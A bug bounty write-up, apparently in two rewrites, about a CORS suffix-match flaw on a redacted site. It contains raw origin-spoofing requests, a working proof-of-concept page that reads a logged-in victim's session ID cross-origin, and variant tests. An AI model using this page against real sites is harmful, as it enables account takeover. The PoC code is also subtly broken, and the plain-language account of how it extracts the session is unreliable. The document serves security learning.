Pre domain wildcard CORS exploitation
The application's CORS policy trusted any origin whose hostname ended with the target domain, so an attacker could register a lookalike domain and read authenticated responses. The attacker used this to fetch a user details endpoint that returned a session ID, enabling account takeover.
Published on medium.com
{{media:0}}
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
This write-up covers a CORS misconfiguration on a private HackerOne program, referred to throughout as redacted.com. The affected host is connect.redacted.com, which serves an /account endpoint and, more importantly, a JSON API endpoint at https://connect.redacted.com/v1/user that returns user details together with a session identifier. The site itself is described as being close to a static site that asks visitors to install a browser extension, but installing that extension requires the user to be logged in.
The weakness class is a pre-domain wildcard: the application decides whether an Origin is trusted by checking whether the origin string ends with redacted.com. The author rates severity as High and complexity as Medium, and the weakness as trusting a pre-domain wildcard as origin.
The general pattern is introduced with a hypothetical: a site called advisor.com trusts all origins that end in advisor.com, which includes definitelynotadvisor.com. That is the mistake being hunted for here.
Setup
The testing was done against a private program, so the real domain is replaced with redacted.com in every request and response. The requests were sent with a Chrome 60 user agent string (Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.101 Safari/537.36), and the Referer header was set to redacted.com. The Cookie header line is present in the requests but no cookie value is shown.
The precondition for the full attack is control of a domain whose name ends with the trusted string, which in this case meant registering kiraakredacted.com. The researcher noted that installing the browser extension requires the user to be logged in.
Finding it
The researcher worked through five test cases against GET /account on connect.redacted.com, varying only the Origin header, to see which origins the server would reflect in Access-Control-Allow-Origin and whether it would pair that with Access-Control-Allow-Credentials: true.
Test 1: the legitimate origin
GET /account HTTP/1.1
Host: connect.redacted.com
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.101 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: redacted.com
Accept-Language: en-US,en;q=0.8
Cookie:
Origin: https://redacted.com
Response:
Access-Control-Allow-Credentials: true
Access-Control-Allow-Headers: Accept, Accept-Encoding, Accept-Language, Authorization, X-Context, X-Session-ID
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: https://redacted.com
Access-Control-Max-Age: 3600
This is the baseline: the trusted origin is reflected, credentials are allowed, and a broad set of methods and headers is permitted.
Test 2: an unrelated origin
GET /account HTTP/1.1
Host: connect.redacted.com
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.101 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: redacted.com
Accept-Language: en-US,en;q=0.8
Cookie:
Origin: https://evil.com
Response:
HTTP/1.1 302 Found
Content-Type: text/html;charset=utf-8
Date: Wed, 23 Aug 2017 20:00:08 GMT
Location: https://connect.redacted.com/auth
An origin that does not end with the trusted string is not reflected; the request is redirected to the auth page instead.
Test 3: trusted string as a prefix
Response:
HTTP/1.1 302 Found
Content-Type: text/html;charset=utf-8
Date: Wed, 23 Aug 2017 20:00:08 GMT
Location: https://connect.redacted.com/auth
Putting the trusted string at the start of an attacker domain does not work, because the origin does not end with it.
Test 4: subdomain prefix
GET /account HTTP/1.1
Host: connect.redacted.com
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.101 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: redacted.com
Accept-Language: en-US,en;q=0.8
Cookie:
Origin: https://connect.redacted.com.evil.com
Response:
HTTP/1.1 302 Found
Content-Type: text/html;charset=utf-8
Date: Wed, 23 Aug 2017 20:00:08 GMT
Location: https://connect.redacted.com/auth
Same result: the origin does not end with the trusted string, so it is rejected.
Test 5: the pre-domain wildcard
GET /account HTTP/1.1
Host: connect.redacted.com
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.101 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: redacted.com
Accept-Language: en-US,en;q=0.8
Cookie:
Origin: https://evilredacted.com
Response:
Access-Control-Allow-Credentials: true
Access-Control-Allow-Headers: Accept, Accept-Encoding, Accept-Language, Authorization, X-Context, X-Session-ID
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: https://evilredacted.com
Access-Control-Max-Age: 3600
This is the finding. The application verifies the origin only by checking whether it ends with redacted.com, so evilredacted.com is reflected and credentials are allowed. The author also notes that the different methods are enabled, which means an attacker can make different requests on behalf of the victim.
To exploit this, the researcher needed a domain ending in redacted.com, so he bought kiraakredacted.com.
Exploitation
The next step was to find a good endpoint to demonstrate impact. There was not much on connect.redacted.com itself, which behaves like a static site asking visitors to install the browser extension. What kept the researcher looking was that installing the extension requires being logged in, which suggested information was being stored somewhere. He started brute forcing and reading documentation for API endpoints, and came across https://connect.redacted.com/v1/user, which contains the user details along with the session ID in a JSON response.
Step 1: host the cross-origin read
The following page was used to issue a credentialed request to the API and pull the session value out of the response:
<html><body><button type='button' onclick='cors()'>xxx</button><p id='demo'></p><p id='session'></p><script>function cors() {var xhttp = new XMLHttpRequest();xhttp.onreadystatechange = function() {if (this.readyState == 4 && this.status == 200) {document.getElementById("demo").innerHTML = this.responseText;parsed = JSON.stringify(this.responseText);var arr = []; for(var x in parsed){ arr.push(parsed[x]); } console.log(arr) document.getElementById(‘session’).innerHTML = arr[13];}};xhttp.open("GET", "https://connect.redacted.com/v1/user", true);xhttp.withCredentials = true;xhttp.send();}</script></body></html>
With this in place, the researcher was able to take over user accounts remotely.
Root cause
The server validates the Origin header by suffix matching: it checks whether the origin ends with redacted.com and reflects it if so. That treats any domain ending in the trusted string as trusted, including a domain the attacker can register such as evilredacted.com. Because the response also carries Access-Control-Allow-Credentials: true, the browser will hand the response body to the attacker's JavaScript even though the request was made with the victim's cookies. The permissive Access-Control-Allow-Methods and Access-Control-Allow-Headers widen what can be sent cross-origin. Tests 3 and 4 show that origins starting with the trusted string were redirected to the auth page.
Impact
An attacker who controls a domain ending in the trusted string can host a page that, when visited by a logged-in victim, reads https://connect.redacted.com/v1/user with the victim's credentials and extracts the session ID from the JSON response. The author states this allows remote takeover of user accounts. The attack requires the attacker to own a domain ending in the trusted string.
Fix
The report does not describe a fix or a retest. The correct approach is to compare the parsed origin's host against an exact allowlist of trusted hosts rather than a suffix match, so that only the intended origins are reflected, and to keep Access-Control-Allow-Credentials limited to those origins.
Variants to test
- Suffix match on the registrable domain: send
Origin: https://evilredacted.comand look for the origin reflected withAccess-Control-Allow-Credentials: true. - Prefix match: send
Origin: https://redacted.com.evil.comand check whether it is reflected; in this report it was rejected, so a positive result here indicates a different, weaker check. - Subdomain prefix: send
Origin: https://connect.redacted.com.evil.comand check for reflection. - Unrelated origin baseline: send
Origin: https://evil.comand confirm it is not reflected, to distinguish a wildcard from a suffix bug. - Method and header breadth: on a reflected origin, check
Access-Control-Allow-MethodsandAccess-Control-Allow-Headersto see whether state-changing methods and sensitive headers are permitted. - Credentialed data endpoint: look for API paths such as
/v1/userthat return session identifiers or personal data in JSON, and confirm they can be read cross-origin withwithCredentials = true.
Reference cited in the report: http://blog.portswigger.net/2016/10/exploiting-cors-misconfigurations-for.html.
What happened, in plain words
A security researcher found a mistake in how a website decided which other websites were allowed to read its data. The site was part of a private bug bounty program, so its real name is hidden and replaced with redacted.com throughout. The affected part of the site lives at connect.redacted.com.
The mistake is a type of CORS misconfiguration. CORS stands for Cross-Origin Resource Sharing. It is a set of rules a website uses to tell your browser which other websites are allowed to read its responses. Without CORS, a page on one site cannot read data from another site, even if your browser happily loads that data. CORS is the permission slip that says "yes, this other site may read my answer".
The site checked that permission slip badly. It looked at the name of the site asking for data and only checked whether that name ended with redacted.com. So a site called evilredacted.com passed the check, because its name ends with redacted.com. The researcher bought a domain like that and built a page on it to read the user details, including the session ID, from the site's API. The author states this allows remote takeover of user accounts.
The author rates severity as High and complexity as Medium, and names the weakness as trusting a pre-domain wildcard as origin.
The idea behind the bug
Some websites make classic URL parsing mistakes when they try to work out whether a website asking for data should be trusted. The author gives a made-up example: a site called advisor.com trusts every origin that ends in advisor.com. That sounds reasonable until you notice it also trusts definitelynotadvisor.com, a completely different domain that anyone could register.
An origin is the combination of scheme, host and port that a web page comes from, for example https://redacted.com. When your browser makes a request to another site, it attaches an Origin header saying where the request came from. The server can then decide whether to allow that origin to read the response.
A domain is the name you type in the address bar, like redacted.com. Anyone can register a domain that contains another company's name as long as the full name is still available, which is exactly what makes this bug exploitable.
The test cases
The researcher tried five test cases against the /account endpoint on connect.redacted.com. In each one, only the Origin header changed. The goal was to see which origins the server would echo back in a response header called Access-Control-Allow-Origin, and whether it would also send Access-Control-Allow-Credentials: true alongside it.
Access-Control-Allow-Origin is the server's answer to "may this origin read my response?". Access-Control-Allow-Credentials: true is the server saying "and yes, the browser may include the user's cookies with this request and hand the answer back to that origin". Those two headers together are what turn a harmless misconfiguration into a serious one.
Test 1: the legitimate origin
GET /account HTTP/1.1
Host: connect.redacted.com
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.101 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: redacted.com
Accept-Language: en-US,en;q=0.8
Cookie:
Origin: https://redacted.com
Response:
Access-Control-Allow-Credentials: true
Access-Control-Allow-Headers: Accept, Accept-Encoding, Accept-Language, Authorization, X-Context, X-Session-ID
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: https://redacted.com
Access-Control-Max-Age: 3600
GET /account HTTP/1.1asks the server for the/accountpage using version 1.1 of the HTTP protocol, the language browsers and servers use to talk.Host: connect.redacted.comtells the server which site on that machine the request is for.Connection: closeasks the server to close the connection after answering.Upgrade-Insecure-Requests: 1is a browser hint that it would prefer a secure (HTTPS) version of the page if one exists.User-Agentidentifies the browser and operating system making the request.Acceptlists the kinds of content the browser is willing to receive.Referersays which page the request came from.Accept-Languagesays which languages the user prefers.Cookie:is where the browser would send the user's cookies. A cookie is a small piece of data a site stores in your browser so it can recognise you on the next request, and it is how most sites know you are logged in. No value is shown here.Origin: https://redacted.comis the key line: it claims the request comes from the site's own domain.
The response is the baseline. The server echoes the trusted origin back in Access-Control-Allow-Origin, allows credentials, and permits a broad set of methods and headers. Access-Control-Allow-Methods lists which HTTP methods (GET to read, POST to create, PUT to update, DELETE to remove, OPTIONS for preflight checks) are allowed. Access-Control-Allow-Headers lists which request headers the browser may send. Access-Control-Max-Age: 3600 tells the browser it can cache this permission for 3600 seconds.
Test 2: an unrelated origin
GET /account HTTP/1.1
Host: connect.redacted.com
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.101 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: redacted.com
Accept-Language: en-US,en;q=0.8
Cookie:
Origin: https://evil.com
Response:
HTTP/1.1 302 Found
Content-Type: text/html;charset=utf-8
Date: Wed, 23 Aug 2017 20:00:08 GMT
Location: https://connect.redacted.com/auth
Line by line:
- The request is identical to Test 1 except for
Origin: https://evil.com, a domain with no relation to the site. HTTP/1.1 302 Foundmeans the server is redirecting the browser somewhere else instead of answering.Content-Type: text/html;charset=utf-8says the redirect body is HTML encoded in UTF-8.Dateis when the server produced the response.Location: https://connect.redacted.com/authis where the browser is being sent, the site's authentication page.
So an origin that does not end with the trusted string is not reflected. The server sends the browser to the login page instead. This is the control case: it shows the server does have some check in place.
Test 3: trusted string as a prefix
Response:
HTTP/1.1 302 Found
Content-Type: text/html;charset=utf-8
Date: Wed, 23 Aug 2017 20:00:08 GMT
Location: https://connect.redacted.com/auth
Line by line:
- The only change is
Origin: https://redacted.com.evil.com. This is a domain owned by an attacker, but it starts with the trusted name. - The response is the same redirect to
/auth.
Putting the trusted string at the start of an attacker domain does not work, because the origin does not end with it. This test rules out a simple "starts with" check.
Test 4: subdomain prefix
GET /account HTTP/1.1
Host: connect.redacted.com
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.101 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: redacted.com
Accept-Language: en-US,en;q=0.8
Cookie:
Origin: https://connect.redacted.com.evil.com
Response:
HTTP/1.1 302 Found
Content-Type: text/html;charset=utf-8
Date: Wed, 23 Aug 2017 20:00:08 GMT
Location: https://connect.redacted.com/auth
Line by line:
- Here the origin is
https://connect.redacted.com.evil.com, which starts with the full host name of the real site. - The server still redirects to
/auth.
Same result: the origin does not end with the trusted string, so it is rejected. This rules out a check that only looks at the beginning of the host name.
Test 5: the pre-domain wildcard
GET /account HTTP/1.1
Host: connect.redacted.com
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.101 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: redacted.com
Accept-Language: en-US,en;q=0.8
Cookie:
Origin: https://evilredacted.com
Response:
Access-Control-Allow-Credentials: true
Access-Control-Allow-Headers: Accept, Accept-Encoding, Accept-Language, Authorization, X-Context, X-Session-ID
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: https://evilredacted.com
Access-Control-Max-Age: 3600
Line by line:
- The origin is
https://evilredacted.com. It is a different domain fromredacted.com, but its name ends withredacted.com. Access-Control-Allow-Origin: https://evilredacted.comshows the server echoing that origin back, which means it accepted it as trusted.Access-Control-Allow-Credentials: truemeans the browser will let that origin read the response even though the request carried the victim's cookies.- The methods and headers lists are the same broad lists as in Test 1.
This is the finding. The application verifies the origin only by checking whether it ends with redacted.com, so evilredacted.com is reflected and credentials are allowed. The author also notes that the different methods are enabled, which means an attacker can make different requests on behalf of the victim.
To exploit this, the researcher needed a domain ending in redacted.com, so he bought kiraakredacted.com.
Exploitation
The next step was to find a good endpoint to demonstrate impact. An endpoint is a specific address on a server that does one job, like a counter in a shop. There was not much on connect.redacted.com itself, which behaves like a static site asking visitors to install the browser extension. A static site is one that just serves fixed pages and does not do much with your data.
What kept the researcher looking was that installing the extension requires being logged in. That suggested information was being stored somewhere. He started brute forcing and reading documentation for API endpoints. Brute forcing means trying many possible names or values in an automated way until something responds. An API is a set of addresses a program can call to get or change data, usually returning structured data such as JSON rather than a web page. JSON is a text format for structured data, made of names and values in curly braces.
He came across https://connect.redacted.com/v1/user, which contains the user details along with the session ID in a JSON response. A session ID is a long random value a site gives you after you log in. Your browser sends it back with every request so the site knows who you are. If someone else gets your session ID, they can pretend to be you without knowing your password.
Step 1: host the cross-origin read
<html><body><button type='button' onclick='cors()'>xxx</button><p id='demo'></p><p id='session'></p><script>function cors() {var xhttp = new XMLHttpRequest();xhttp.onreadystatechange = function() {if (this.readyState == 4 && this.status == 200) {document.getElementById("demo").innerHTML = this.responseText;parsed = JSON.stringify(this.responseText);var arr = []; for(var x in parsed){ arr.push(parsed[x]); } console.log(arr) document.getElementById(‘session’).innerHTML = arr[13];}};xhttp.open("GET", "https://connect.redacted.com/v1/user", true);xhttp.withCredentials = true;xhttp.send();}</script></body></html>
Line by line:
<html><body>starts a normal web page.<button type='button' onclick='cors()'>xxx</button>draws a button labelledxxx. When the victim clicks it, the browser runs a JavaScript function calledcors().<p id='demo'></p>and<p id='session'></p>are two empty paragraphs with names (ids) so the script can find them later and put text inside.<script>starts the JavaScript code.function cors() {defines the function that the button calls.var xhttp = new XMLHttpRequest();creates anXMLHttpRequest, the browser object used to fetch data from a server without reloading the page.xhttp.onreadystatechange = function() {sets up code that runs whenever the request's state changes.if (this.readyState == 4 && this.status == 200) {means: only continue when the request is finished (readyState == 4) and the server answered successfully (status == 200).document.getElementById("demo").innerHTML = this.responseText;puts the raw response text into thedemoparagraph so it is visible on the page.parsed = JSON.stringify(this.responseText);turns the response into a string.var arr = []; for(var x in parsed){ arr.push(parsed[x]); }walks through that string one character at a time and pushes each character into an array, a list of values.console.log(arr)prints the array to the browser's developer console, a panel for debugging.document.getElementById(‘session’).innerHTML = arr[13];takes the character at position 13 of the array and puts it into thesessionparagraph. In other words, it extracts the session value from the JSON body by character index.xhttp.open("GET", "https://connect.redacted.com/v1/user", true);prepares a GET request to the user API endpoint. Thetruemeans the request runs in the background without freezing the page.xhttp.withCredentials = true;is the crucial line. It tells the browser to include the victim's cookies with the request, so the API answers as the logged-in user.xhttp.send();actually sends the request.
With this in place, the researcher was able to take over user accounts remotely.
Why it works
The application verifies the origin only by checking whether it ends with redacted.com. That treats any domain ending in the trusted string as trusted, including a domain the attacker can register such as evilredacted.com. Because the response also carries Access-Control-Allow-Credentials: true, the browser will hand the response body to the attacker's JavaScript even though the request was made with the victim's cookies. The permissive Access-Control-Allow-Methods and Access-Control-Allow-Headers widen what can be sent cross-origin. Tests 3 and 4 show that origins starting with the trusted string were redirected to the auth page.
What an attacker could do
An attacker who controls a domain ending in the trusted string can host a page that, when visited by a logged-in victim, reads https://connect.redacted.com/v1/user with the victim's credentials and extracts the session ID from the JSON response. The attack requires the attacker to own a domain ending in the trusted string.
Fix
The report does not describe a fix or a retest. The correct approach is to compare the parsed origin's host against an exact allowlist of trusted hosts rather than a suffix match, so that only the intended origins are reflected, and to keep Access-Control-Allow-Credentials limited to those origins.
Variants to test
- Suffix match on the registrable domain: send
Origin: https://evilredacted.comand look for the origin reflected withAccess-Control-Allow-Credentials: true. - Prefix match: send
Origin: https://redacted.com.evil.comand check whether it is reflected; in this report it was rejected, so a positive result here indicates a different, weaker check. - Subdomain prefix: send
Origin: https://connect.redacted.com.evil.comand check for reflection. - Unrelated origin baseline: send
Origin: https://evil.comand confirm it is not reflected, to distinguish a wildcard from a suffix bug. - Method and header breadth: on a reflected origin, check
Access-Control-Allow-MethodsandAccess-Control-Allow-Headersto see whether state-changing methods and sensitive headers are permitted. - Credentialed data endpoint: look for API paths such as
/v1/userthat return session identifiers or personal data in JSON, and confirm they can be read cross-origin withwithCredentials = true.
Reference cited in the report: http://blog.portswigger.net/2016/10/exploiting-cors-misconfigurations-for.html.
Glossary
- API: a set of addresses a program can call to get or change data, usually returning structured data such as JSON.
- Brute forcing: trying many possible names or values automatically until something responds.
- Cookie: a small piece of data a site stores in your browser so it can recognise you on later requests.
- CORS: Cross-Origin Resource Sharing, the rules a site uses to tell the browser which other sites may read its responses.
- Cross-origin request: a request made from a page on one origin to a different origin.
- Domain: the name you type in the address bar, like
redacted.com. - Endpoint: a specific address on a server that does one job.
- HTTP: the language browsers and servers use to exchange requests and responses.
- JSON: a text format for structured data, made of names and values in curly braces.
- Origin: the combination of scheme, host and port a web page comes from, for example
https://redacted.com. - Pre-domain wildcard: a check that trusts any origin whose name ends with the trusted string, so
evilredacted.compasses forredacted.com. - Session ID: a long random value a site gives you after login, sent back with each request so the site knows who you are.
- Static site: a site that serves fixed pages and does not do much with your data.
- XMLHttpRequest: the browser object used to fetch data from a server without reloading the page.
- withCredentials: a setting on a request that tells the browser to include the user's cookies.